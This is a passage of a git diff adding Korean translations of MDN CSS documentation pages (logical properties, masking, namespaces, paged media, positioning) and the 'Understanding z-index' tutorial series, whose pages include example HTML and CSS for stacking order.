{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}{{Spec2("CSS2.1")}}Initial definition
+ +

See also

+ +
    +
  • {{cssxref("counter-reset")}}
  • +
  • {{cssxref("counter-increment")}}
  • +
  • {{cssxref("@counter-style")}}
  • +
diff --git a/files/ko/web/css/css_logical_properties/index.html b/files/ko/web/css/css_logical_properties/index.html new file mode 100644 index 0000000000..e46148c67f --- /dev/null +++ b/files/ko/web/css/css_logical_properties/index.html @@ -0,0 +1,136 @@ +--- +title: CSS Logical Properties and Values +slug: Web/CSS/CSS_Logical_Properties +tags: + - CSS + - CSS Logical Properties + - Overview + - Reference +translation_of: Web/CSS/CSS_Logical_Properties +--- +
{{CSSRef}}
+ +

CSS Logical Properties and Values는 레이아웃을 제어하는 물리 속성에 논리 맵핑을 정의하는 CSS 모듈입니다.

+ +

블록과 인라인

+ +

Logical properties and values use the abstract terms block and inline to describe the direction in which they flow. The physical meaning of these terms depends on the writing mode.

+ +
+
블록 치수
+
The dimension perpendicular to the flow of text within a line, i.e., the vertical dimension in horizontal writing modes, and the horizontal dimension in vertical writing modes. For standard English text, it is the vertical dimension.
+
인라인 치수
+
The dimension parallel to the flow of text within a line, i.e., the horizontal dimension in horizontal writing modes, and the vertical dimension in vertical writing modes. For standard English text, it is the horizontal dimension.
+
+ +

참고서

+ +

크기 속성

+ +
+
    +
  • {{CSSxRef("block-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inline-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("max-block-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("max-inline-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("min-block-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("min-inline-size")}} {{Experimental_Inline}}
  • +
+
+ +

안팎 여백, 테두리 속성

+ +
+
    +
  • {{CSSxRef("border-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-color")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("border-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-start-start-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-start-end-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-end-start-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-end-end-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-style")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("border-width")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("margin")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("margin-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-inline-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("padding-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-inline-start")}} {{Experimental_Inline}}
  • +
+
+ +

플로트와 위치 속성

+ +
+
    +
  • {{CSSxRef("clear")}} (inline-end {{Experimental_Inline}} and inline-start {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("float")}} (inline-end {{Experimental_Inline}} and inline-start {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("inset")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-inline-start")}} {{Experimental_Inline}}
  • +
+
+ +

기타 속성

+ +
+
    +
  • {{CSSxRef("caption-side")}} (inline-end {{Experimental_Inline}} and inline-start {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("resize")}} {{Experimental_Inline}} (block {{Experimental_Inline}} and inline {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("text-align")}} (end {{Experimental_Inline}} and start {{Experimental_Inline}} keywords)
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties')}}{{Spec2('CSS Logical Properties')}}초기 정의
diff --git a/files/ko/web/css/css_masks/index.html b/files/ko/web/css/css_masks/index.html new file mode 100644 index 0000000000..5a48e0af6e --- /dev/null +++ b/files/ko/web/css/css_masks/index.html @@ -0,0 +1,68 @@ +--- +title: CSS Masking +slug: Web/CSS/CSS_Masks +tags: + - CSS + - CSS Masking + - Overview + - Reference +translation_of: Web/CSS/CSS_Masking +--- +
{{CSSRef}}
+ +

CSS Masking은 마스킹 및 클리핑을 포함해 시각 요소의 부분 또는 전체를 숨기기 위한 수단을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("clip")}} {{deprecated_inline}}
  • +
  • {{cssxref("clip-path")}}
  • +
  • {{cssxref("clip-rule")}}
  • +
  • {{cssxref("mask")}}
  • +
  • {{cssxref("mask-border")}}
  • +
  • {{cssxref("mask-border-mode")}}
  • +
  • {{cssxref("mask-border-outset")}}
  • +
  • {{cssxref("mask-border-repeat")}}
  • +
  • {{cssxref("mask-border-slice")}}
  • +
  • {{cssxref("mask-border-source")}}
  • +
  • {{cssxref("mask-border-width")}}
  • +
  • {{cssxref("mask-clip")}}
  • +
  • {{cssxref("mask-composite")}}
  • +
  • {{cssxref("mask-image")}}
  • +
  • {{cssxref("mask-mode")}}
  • +
  • {{cssxref("mask-origin")}}
  • +
  • {{cssxref("mask-position")}}
  • +
  • {{cssxref("mask-repeat")}}
  • +
  • {{cssxref("mask-size")}}
  • +
  • {{cssxref("mask-type")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS Masks")}}{{Spec2("CSS Masks")}} 
{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}{{Spec2('SVG1.1')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_miscellaneous/index.html b/files/ko/web/css/css_miscellaneous/index.html new file mode 100644 index 0000000000..fbd9a1fbc9 --- /dev/null +++ b/files/ko/web/css/css_miscellaneous/index.html @@ -0,0 +1,43 @@ +--- +title: CSS Miscellaneous +slug: Web/CSS/CSS_Miscellaneous +tags: + - CSS + - Overview + - Reference +translation_of: Web/CSS/CSS_Miscellaneous +--- +
{{CSSRef}}
+ +

이 페이지는 한참 실험 중이거나 다른 어떤 부류와도 맞지 않은 CSS 속성을 포함합니다.

+ +

참고

+ +

속성

+ +
+
    +
  • {{cssxref("all")}}
  • +
  • {{cssxref("clip")}}
  • +
  • {{cssxref("clip-path")}}
  • +
  • {{cssxref("display")}}
  • +
  • {{cssxref("ime-mode")}}
  • +
  • {{cssxref("initial-letter")}}
  • +
  • {{cssxref("initial-letter-align")}}
  • +
  • {{cssxref("mask-type")}}
  • +
  • {{cssxref("text-rendering")}}
  • +
  • {{cssxref("will-change")}}
  • +
+
+ +

안내서

+ +

없음.

+ +

스펙

+ +

이 속성은 서로 거의 관련이 없습니다. 스펙은 개별 페이지를 참조하세요.

+ +

브라우저 호환성

+ +

이 속성은 서로 거의 관련이 없습니다. 브라우저 내 가용성은 개별 페이지를 참조하세요.

diff --git a/files/ko/web/css/css_namespaces/index.html b/files/ko/web/css/css_namespaces/index.html new file mode 100644 index 0000000000..d3082bdb8b --- /dev/null +++ b/files/ko/web/css/css_namespaces/index.html @@ -0,0 +1,42 @@ +--- +title: CSS Namespaces +slug: Web/CSS/CSS_Namespaces +tags: + - CSS + - CSS Namespaces + - Overview + - Reference +translation_of: Web/CSS/CSS_Namespaces +--- +
{{CSSRef}}
+ +

CSS Namespaces는 CSS에서 XML 네임스페이스를 지정할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@namespace")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS3 Namespaces")}}{{Spec2("CSS3 Namespaces")}}초기 정의
diff --git a/files/ko/web/css/css_pages/index.html b/files/ko/web/css/css_pages/index.html new file mode 100644 index 0000000000..72f7f39dd3 --- /dev/null +++ b/files/ko/web/css/css_pages/index.html @@ -0,0 +1,73 @@ +--- +title: CSS Paged Media +slug: Web/CSS/CSS_Pages +tags: + - CSS + - CSS Paged Media + - CSS Reference + - Overview +translation_of: Web/CSS/CSS_Pages +--- +
{{CSSRef}}
+ +

CSS Paged Media는 페이지 전환을 처리하는 방법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("page-break-after")}}
  • +
  • {{cssxref("page-break-before")}}
  • +
  • {{cssxref("page-break-inside")}}
  • +
+
+ +

@규칙

+ +
+
    +
  • {{cssxref('@page')}}
  • +
+
+ +

의사 클래스

+ +
+
    +
  • {{cssxref(':blank')}}
  • +
  • {{cssxref(':first')}}
  • +
  • {{cssxref(':left')}}
  • +
  • {{cssxref(':right')}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Paged Media')}}{{Spec2('CSS3 Paged Media')}} 
{{SpecName('CSS3 Fragmentation')}}{{Spec2('CSS3 Fragmentation')}} 
{{SpecName('CSS2.1')}}{{Spec2('CSS2.1')}} 
diff --git a/files/ko/web/css/css_positioning/index.html b/files/ko/web/css/css_positioning/index.html new file mode 100644 index 0000000000..bd2a5f4f33 --- /dev/null +++ b/files/ko/web/css/css_positioning/index.html @@ -0,0 +1,61 @@ +--- +title: CSS Positioning +slug: Web/CSS/CSS_Positioning +tags: + - CSS + - CSS Positioning + - Overview + - Reference +translation_of: Web/CSS/CSS_Positioning +--- +
{{CSSRef}}
+ +

CSS Positioning은 요소를 페이지에 배치하는 방법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("bottom")}}
  • +
  • {{cssxref("clear")}}
  • +
  • {{cssxref("float")}}
  • +
  • {{cssxref("left")}}
  • +
  • {{cssxref("position")}}
  • +
  • {{cssxref("right")}}
  • +
  • {{cssxref("top")}}
  • +
  • {{cssxref("z-index")}}
  • +
+
+ +

안내서

+ +
+
CSS z-index 이해하기
+
쌓임 문맥의 개념을 소개하고 몇 가지 예와 함께 z축 순서의 동작을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
스펙상태설명
{{ SpecName('CSS3 Positioning') }}{{ Spec2('CSS3 Positioning') }} 
{{ SpecName('CSS2.1', 'visuren.html') }}{{ Spec2('CSS2.1') }} 
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html new file mode 100644 index 0000000000..9621937b5f --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -0,0 +1,157 @@ +--- +title: z-index 적용 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +--- +

« CSS « CSS z-index 이해하기

+

{{ cssxref("z-index") }} 적용

+

처음 예제에서(z-index가 없는 경우의 쌓임) 엘리먼트들이 기본적으로 어떻게 쌓이는지 설명했다. 만약 다른 쌓임 순서를 적용하고 싶다면 먼저 엘리먼트에 {{ cssxref("position") }} 속성을 지정하고 {{ cssxref("z-index") }} 속성을 지정해야한다. 

+

z-index 속성은 하나의 정수 값을 가질 수 있다(양수, 음수 모두 가능하다). 이 값은 해당 엘리먼트의 z축 상의 위치를 나타낸다. 만약 당신이 z축에 익숙하지 않다면 여러 레이어가 쌓여있는 페이지를 상상해보라. 각 레이어는 번호가 붙어있고 높은 번호를 가진 레이어는 낮은 번호를 가진 레이어 위에 렌더링된다. 

+

다시한번 경고! z-index는 position 속성이 설정된 엘리먼트에 대해서만 의미를 갖는다.

+
    +
  • 가장 아래(사용자로부터 가장 멀다)
  • +
  • ...
  • +
  • Layer -3
  • +
  • Layer -2
  • +
  • Layer -1
  • +
  • Layer 0 기본 렌더링 레이어
  • +
  • Layer 1
  • +
  • Layer 2
  • +
  • Layer 3
  • +
  • ...
  • +
  • 가장 위(사용자로부터 가장 가깝다)
  • +
+
+

노트:

+
    +
  • z-index 속성을 지정하지 않으면 엘리먼트는 기본 렌더링 레이어(레이어 0)에 렌더링된다. 
  • +
  • 만약 몇개의 엘리먼트들이 같은 z-index 속성 값을 가지면 (엘리먼트들이 같은 레이어에 위치한다) z-index가 없는 경우의 쌓임 쌓임 규칙을 적용한다.
  • +
+
+

다음 예제에서는 레이어들의 쌓임 순서가 z-index를 이용하여 바뀌어있다. DIV#5는 position 속성이 지정되지 않았으므로 z-index 속성 값은 쌓임 순서를 결정하는데에 아무 영향을 미치지 않는다. 

+

Example of stacking rules modified using z-index

+

Example source code

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   opacity: 0.7;
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   z-index: 8;
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   z-index: 3;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   z-index: 2;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   z-index: 5;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+   <br />z-index: 5;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+   <br />z-index: 3;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+   <br />z-index: 2;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+   <br />z-index: 8;
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/index.html new file mode 100644 index 0000000000..2887faf021 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/index.html @@ -0,0 +1,32 @@ +--- +title: CSS z-index 이해하기 +slug: Web/CSS/CSS_Positioning/Understanding_z_index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +--- +

우리들은 HTML 페이지를 2차원 평면으로 생각한다. 왜냐하면 여러 텍스트, 이미지와 다른 엘리먼트들이 서로 겹치지 않고 배열되기 때문이다. 하나의 렌더링 흐름만이 존재하며 모든 엘리먼트들은 다른 엘리먼트들이 어떤 공간을 차지하고 있는지 알고 있다. 

+
+

In CSS 2.1, each box has a position in three dimensions. In addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other. Z-axis positions are particularly relevant when boxes overlap visually.

+
+

(from CSS 2.1 Section 9.9.1 - Layered presentation)

+

위에 소개된 CSS 스타일 규칙을 보면 기본 렌더링 레이어(layer 0) 이외의 추가적인 레이어를 생성하고 여기에 박스를 위치시킬수 있다는 것을 알 수 있다. 레이어의 Z축 위치는 렌더링 될 때 쌓임 순서를 결정하는 하나의 정수로 결정된다. 큰 정수는 화면을 보고있는 사용자에게 가까운 것을 의미한다. Z축 위치는 {{ cssxref("z-index") }} 속성 값을 설정함으로써 바꿀 수 있다.

+

엘리먼트의 Z축 위치를 결정하는 것은 굉장히 간단해 보인다. {{ cssxref("z-index") }} 라는 하나의 프로퍼티를 사용하고 이 프로퍼티는 하나의 정수 값을 가진다.  그러나 {{ cssxref("z-index") }} 속성이 복잡한 HTML 계층적 엘리먼트들에 지정되었을 때에는 동작을 이해하기 힘들고 심지어 예측하지 못할 때도 있다. 이것은 엘리먼트들의 쌓임 순서를 결정하는 규칙(이하 쌓임 규칙)이 복잡하기 때문이다. 오로지 이 규칙만을 설명하기 위한 CSS 명세 섹션이 있을 정도다. (CSS-2.1 Appendix E)

+

이 문서에서는 몇가지 간단한 예를 들어 쌓임 규칙에 대해 설명하려고 한다. 

+
    +
  1. z-index가 없는 경우의 쌓임 : 기본 쌓임 규칙
  2. +
  3. floating 엘리먼트의 쌓임 : floating 엘리먼트들은 어떻게 다루어지는가
  4. +
  5. z-index 적용 : 기본 쌓임 순서를 변경하기 위해 z-index 사용하기
  6. +
  7. 쌓임 맥락(stacking context) 이야기 : 쌓임 맥락(stacking context) 이야기 
  8. +
  9. 쌓임 맥락 예제1 : 2레벨 HTML 계층구조, 마지막 레벨에서 z-index가 지정된 경우
  10. +
  11. 쌓임 맥락 예제2 : 2레벨 HTML 계층구조, 모든 레벨에서 z-index가 지정된 경우
  12. +
  13. 쌓임 맥락 예제3 : 3레벨 HTML 계층구조, 두번째 레벨에서 z-index가 지정된 경우
  14. +
+

저자의 말: 검토를 해준 Wladimir Palant씨와 Rod Whiteley씨에게 감사의 말을 전합니다.

+
+

원본 문서 정보

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index" } ) }} 

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html new file mode 100644 index 0000000000..4430c5cdf3 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -0,0 +1,146 @@ +--- +title: floating 엘리먼트의 쌓임 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +--- +

« CSS « CSS z-index 이해하기

+

floating 엘리먼트의 쌓임

+

floating 엘리먼트들의 쌓임 순서는 약간 다르다. floating 엘리먼트들은 position이 지정된 블록과 지정되지 않은 블록 사이에 쌓인다. 

+
    +
  1. 뿌리 엘리먼트의 배경과 테두리
  2. +
  3. 자식 엘리먼트들은 HTML에서 등장하는 순서대로
  4. +
  5. floating 엘리먼트
  6. +
  7. position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  8. +
+

사실 다음 예제에서 보는 것처럼 position이 지정되지 않은 엘리먼트(DIV #4)의 배경과 테두리는 floating 엘리먼트들에 의해 영향을 받지 않는다. 반면 컨텐츠는 영향을 받는다. 이것은 CSS 표준 float 명세에 따른 것이다. 

+

위의 규칙 리스트를 수정하여 이 명세를 포함시켜보자. 

+
    +
  1. 뿌리 엘리먼트의 배경과 테두리
  2. +
  3. 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  4. +
  5. floating 엘리먼트
  6. +
  7. inline 자식 엘리먼트는 보통의 흐름대로
  8. +
  9. position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  10. +
+
+ 노트: 아래 예제에서 position이 지정되지 않은 엘리먼트 이외에는 모든 엘리먼트가 쌓임 순서를 보여주기 위해 반투명하게 설정되었다. 만약 position이 지정되지 않은 엘리먼트 (DIV #4)의 투명도를 낮추면 이상한 일이 일어난다. 배경과 테두리가 (원래에는 floating 엘리먼트 아래에 있어야 함에도 불구하고) floating 엘리먼트와 position이 지정된 엘리먼트 사이에 보이는 것이다. 이것이 명세의 일부인지 아니면 버그인지 확실하지 않다. 투명도를 적용하는것이 새로운 쌓임 맥락(stacking context)를 만드는 것일까?
+

Example of stacking rules with floating boxes

+

Example source code

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 10px;
+   right: 140px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#normdiv {
+   /*opacity: 0.7;*/
+   height: 100px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 10px 0px 10px;
+   text-align: left;
+}
+
+#flodiv1 {
+   opacity: 0.7;
+   margin: 0px 10px 0px 20px;
+   float: left;
+   width: 150px;
+   height: 200px;
+   border: 1px dashed #009900;
+   background-color: #ccffcc;
+   text-align: center;
+}
+
+#flodiv2 {
+   opacity: 0.7;
+   margin: 0px 20px 0px 10px;
+   float: right;
+   width: 150px;
+   height: 200px;
+   border: 1px dashed #009900;
+   background-color: #ccffcc;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 100px;
+   top: 130px;
+   left: 100px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+<br /><span class="bold">DIV #1</span>
+<br />position: absolute;
+</div>
+
+<div id="flodiv1">
+<br /><span class="bold">DIV #2</span>
+<br />float: left;
+</div>
+
+<div id="flodiv2">
+<br /><span class="bold">DIV #3</span>
+<br />float: right;
+</div>
+
+<br />
+
+<div id="normdiv">
+<br /><span class="bold">DIV #4</span>
+<br />no positioning
+</div>
+
+<div id="absdiv2">
+<br /><span class="bold">DIV #5</span>
+<br />position: absolute;
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_et_float" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html new file mode 100644 index 0000000000..9444e2bb5e --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -0,0 +1,120 @@ +--- +title: 쌓임 맥락 예제1 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +--- +

« CSS « CSS z-index 이해하기

+

쌓임 맥락 예제1

+

기본 예제부터 시작하자. 쌓임 맥락의 뿌리에는 두개의 DIV #1과 DIV #3가 있다. 두 DIV는 모두 position 속성 값이 relative로 지정되었지만 z-index 속성 값은 지정되지 않았다. DIV #1 안에는 position 속성 값이 absolute로 지정된 DIV #2가 있고 DIV #3 안에도 position 속성 값이 absolute가 지정된 DIV #4가 있다. DIV #2와ㅏ DIV #4 모두 z-index 속성 값은 지정되지 않았다. 

+

유일한 쌓임 맥락은 뿌리 엘리먼트다. z-index가 없는 엘리먼트들은 HTML 문서에서 등장 순서대로 쌓인다. 

+

Stacking context example 1

+

DIV #2의 z-index 속성 값을 0또는 auto가 아닌 양의 정수로 지정하면 다른 DIV들 보다 위에 렌더링된다. 

+

Stacking context example 1

+

DIV #4의 z-index 속성 값을 DIV #2의 z-index 속성 값보다 큰 값으로 지정하면 DIV #4는 DIV #2보다 위에 렌더링된다. 

+

Stacking context example 1

+

마지막 예제에서 DIV #2와 DIV #4는 형제가 아니다. 왜냐하면 둘의 부모가 다르기 때문이다. 그럼에도 불구하고 DIV #2와 DIV #4의 쌓임 순서를 z-index 속성 값을 지정함으로써 바꿀 수 있었다. 왜냐하면 DIV #1과 DIV #3은 z-index 속성 값이 지정되지 않았고 따라서 쌓임 맥락을 만들지 않았기 때문이다. 따라서 DIV #2와 DIV #4는 둘 다 뿌리 엘리먼트의 쌓임 맥락에 속해있고, z-index 속성 값을 변경하여 쌓임 순서를 바꿀 수 있다. 

+

쌓임 맥락의 용어로 설명하자면 DIV #1과 DIV #3은 뿌리 엘리먼트에 동화되었다. 이 예제의 DIV들은 다음과 같은 쌓임 맥락 계층 구조를 이룬다. 

+
    +
  • 뿌리 쌓임 맥락 +
      +
    • DIV #2 (z-index 1)
    • +
    • DIV #4 (z-index 2)
    • +
    +
  • +
+
+ Note: DIV #1과 DIV #3은 투명하지 않다. 투명도를 1보다 적은 값으로 지정하게 되면 내부적으로 쌓임 맥락을 만든다는걸 기억하자. 이건 마치 z-index 값을 설정한 것과 비슷하다. 이 예제는 부모 엘리먼트들이 쌓임 맥락을 형성하지 않을 때 어떤 일이 일어나는지 보여준다. 
+

예제 소스 코드

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   z-index: 2;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+</style></head>
+
+<body>
+
+<br />
+
+<div id="div1">
+<br /><span class="bold">DIV #1</span>
+<br />position: relative;
+   <div id="div2">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+   </div>
+</div>
+
+<br />
+
+<div id="div3">
+<br /><span class="bold">DIV #3</span>
+<br />position: relative;
+   <div id="div4">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 2;
+   </div>
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_1" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html new file mode 100644 index 0000000000..cf794c3428 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -0,0 +1,123 @@ +--- +title: 쌓임 맥락 예제2 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +--- +

« CSS « CSS z-index 이해하기

+

